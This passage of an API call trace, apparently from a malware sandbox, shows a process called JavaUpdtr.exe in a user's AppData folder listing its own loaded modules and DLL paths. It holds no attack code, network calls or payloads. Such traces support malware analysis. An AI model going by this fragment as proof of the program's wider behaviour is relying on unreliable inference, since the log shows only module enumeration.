returned 0x7f [0115.971] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0115.971] GetLastError () returned 0x7f [0115.971] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0115.972] GetLastError () returned 0x7f [0115.972] CloseHandle (hObject=0x200) returned 1 [0115.972] GetLastError () returned 0x7f [0115.985] GetCurrentProcessId () returned 0x4e8 [0115.985] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0115.985] GetLastError () returned 0x7f [0115.985] EnumProcessModules (in: hProcess=0x200, lphModule=0x27d7e68, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x27d7e68, lpcbNeeded=0x31c9a8) returned 1 [0115.985] GetLastError () returned 0x7f [0115.985] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x27d7fa8, cb=0xc | out: lpmodinfo=0x27d7fa8*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0115.985] GetLastError () returned 0x7f [0115.986] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0115.986] GetLastError () returned 0x7f [0115.986] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0115.986] GetLastError () returned 0x7f [0115.986] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x27d910c, cb=0xc | out: lpmodinfo=0x27d910c*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0115.986] GetLastError () returned 0x7f [0115.986] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0115.986] GetLastError () returned 0x7f [0115.986] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0115.987] GetLastError () returned 0x7f [0115.987] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x27da200, cb=0xc | out: lpmodinfo=0x27da200*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0115.987] GetLastError () returned 0x7f [0115.987] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0115.987] GetLastError () returned 0x7f [0115.987] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0115.987] GetLastError () returned 0x7f [0115.987] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x27db2fc, cb=0xc | out: lpmodinfo=0x27db2fc*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0115.987] GetLastError () returned 0x7f [0115.988] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0115.988] GetLastError () returned 0x7f [0115.988] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0115.988] GetLastError () returned 0x7f [0115.988] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x27dc400, cb=0xc | out: lpmodinfo=0x27dc400*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0115.988] GetLastError () returned 0x7f [0115.988] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0115.988] GetLastError () returned 0x7f [0115.989] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0115.989] GetLastError () returned 0x7f [0115.989] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x27dd53c, cb=0xc | out: lpmodinfo=0x27dd53c*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0115.989] GetLastError () returned 0x7f [0115.989] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0115.989] GetLastError () returned 0x7f [0115.989] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0115.990] GetLastError () returned 0x7f [0115.990] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x27de640, cb=0xc | out: lpmodinfo=0x27de640*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0115.990] GetLastError () returned 0x7f [0115.990] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0115.990] GetLastError () returned 0x7f [0115.990] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0115.990] GetLastError () returned 0x7f [0115.990] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x27df73c, cb=0xc | out: lpmodinfo=0x27df73c*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0115.991] GetLastError () returned 0x7f [0115.991] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0115.991] GetLastError () returned 0x7f [0115.991] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0115.991] GetLastError () returned 0x7f [0115.991] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x27e0838, cb=0xc | out: lpmodinfo=0x27e0838*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0115.992] GetLastError () returned 0x7f [0115.992] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0115.992] GetLastError () returned 0x7f [0115.992] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0115.992] GetLastError () returned 0x7f [0115.992] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x27e1984, cb=0xc | out: lpmodinfo=0x27e1984*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0115.992] GetLastError () returned 0x7f [0115.993] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0115.993] GetLastError () returned 0x7f [0115.993] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0115.993] GetLastError () returned 0x7f [0115.993] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x27e2a80, cb=0xc | out: lpmodinfo=0x27e2a80*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0115.993] GetLastError () returned 0x7f [0115.994] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0115.994] GetLastError () returned 0x7f [0115.994] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0115.994] GetLastError () returned 0x7f [0115.994] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x27e3b84, cb=0xc | out: lpmodinfo=0x27e3b84*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0115.995] GetLastError () returned 0x7f [0115.995] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0115.995] GetLastError () returned 0x7f [0115.995] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0115.995] GetLastError () returned 0x7f [0115.995] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x27e4cbc, cb=0xc | out: lpmodinfo=0x27e4cbc*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0115.996] GetLastError () returned 0x7f [0115.996] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0115.996] GetLastError () returned 0x7f [0115.996] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0115.997] GetLastError () returned 0x7f [0115.997] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x27e5db8, cb=0xc | out: lpmodinfo=0x27e5db8*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0115.997] GetLastError () returned 0x7f [0115.997] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0115.997] GetLastError () returned 0x7f [0115.997] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0115.998] GetLastError () returned 0x7f [0115.998] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x27e6eac, cb=0xc | out: lpmodinfo=0x27e6eac*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0115.998] GetLastError () returned 0x7f [0115.998] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0115.999] GetLastError () returned 0x7f [0115.999] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0115.999] GetLastError () returned 0x7f [0115.999] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x27e7fa8, cb=0xc | out: lpmodinfo=0x27e7fa8*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0115.999] GetLastError () returned 0x7f [0115.999] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.000] GetLastError () returned 0x7f [0116.000] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.000] GetLastError () returned 0x7f [0116.000] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x27e9094, cb=0xc | out: lpmodinfo=0x27e9094*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.001] GetLastError () returned 0x7f [0116.001] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.001] GetLastError () returned 0x7f [0116.001] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.001] GetLastError () returned 0x7f [0116.001] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x27ea218, cb=0xc | out: lpmodinfo=0x27ea218*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.002] GetLastError () returned 0x7f [0116.002] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.002] GetLastError () returned 0x7f [0116.002] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.003] GetLastError () returned 0x7f [0116.003] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x27eb30c, cb=0xc | out: lpmodinfo=0x27eb30c*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.003] GetLastError () returned 0x7f [0116.003] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.003] GetLastError () returned 0x7f [0116.004] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.004] GetLastError () returned 0x7f [0116.004] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x27ec400, cb=0xc | out: lpmodinfo=0x27ec400*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.004] GetLastError () returned 0x7f [0116.004] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.005] GetLastError () returned 0x7f [0116.005] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.005] GetLastError () returned 0x7f [0116.005] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x27ed4fc, cb=0xc | out: lpmodinfo=0x27ed4fc*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.006] GetLastError () returned 0x7f [0116.006] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.006] GetLastError () returned 0x7f [0116.006] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.007] GetLastError () returned 0x7f [0116.007] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x27ee634, cb=0xc | out: lpmodinfo=0x27ee634*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.007] GetLastError () returned 0x7f [0116.007] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.008] GetLastError () returned 0x7f [0116.008] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.008] GetLastError () returned 0x7f [0116.008] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x27ef7c8, cb=0xc | out: lpmodinfo=0x27ef7c8*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.009] GetLastError () returned 0x7f [0116.009] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.009] GetLastError () returned 0x7f [0116.009] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.010] GetLastError () returned 0x7f [0116.010] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x27f08c4, cb=0xc | out: lpmodinfo=0x27f08c4*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.010] GetLastError () returned 0x7f [0116.010] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.011] GetLastError () returned 0x7f [0116.011] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.011] GetLastError () returned 0x7f [0116.011] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x27f19b8, cb=0xc | out: lpmodinfo=0x27f19b8*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.012] GetLastError () returned 0x7f [0116.012] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.012] GetLastError () returned 0x7f [0116.013] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.013] GetLastError () returned 0x7f [0116.013] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x27f2ab4, cb=0xc | out: lpmodinfo=0x27f2ab4*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.014] GetLastError () returned 0x7f [0116.014] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.014] GetLastError () returned 0x7f [0116.014] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.015] GetLastError () returned 0x7f [0116.015] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x27f3c4c, cb=0xc | out: lpmodinfo=0x27f3c4c*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.015] GetLastError () returned 0x7f [0116.015] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.016] GetLastError () returned 0x7f [0116.016] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.016] GetLastError () returned 0x7f [0116.016] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x27f4d48, cb=0xc | out: lpmodinfo=0x27f4d48*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.017] GetLastError () returned 0x7f [0116.017] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.017] GetLastError () returned 0x7f [0116.018] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.018] GetLastError () returned 0x7f [0116.018] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x27f5e80, cb=0xc | out: lpmodinfo=0x27f5e80*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.019] GetLastError () returned 0x7f [0116.019] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.019] GetLastError () returned 0x7f [0116.019] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.020] GetLastError () returned 0x7f [0116.020] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x27f700c, cb=0xc | out: lpmodinfo=0x27f700c*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.020] GetLastError () returned 0x7f [0116.020] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.021] GetLastError () returned 0x7f [0116.021] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.022] GetLastError () returned 0x7f [0116.022] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x27f81c8, cb=0xc | out: lpmodinfo=0x27f81c8*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.022] GetLastError () returned 0x7f [0116.022] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.023] GetLastError () returned 0x7f [0116.023] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.023] GetLastError () returned 0x7f [0116.024] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x27f93ac, cb=0xc | out: lpmodinfo=0x27f93ac*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.024] GetLastError () returned 0x7f [0116.024] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.025] GetLastError () returned 0x7f [0116.025] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.025] GetLastError () returned 0x7f [0116.025] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x27fa54c, cb=0xc | out: lpmodinfo=0x27fa54c*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.026] GetLastError () returned 0x7f [0116.026] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.027] GetLastError () returned 0x7f [0116.027] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.028] GetLastError () returned 0x7f [0116.028] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x27fb770, cb=0xc | out: lpmodinfo=0x27fb770*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.028] GetLastError () returned 0x7f [0116.028] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.029] GetLastError () returned 0x7f 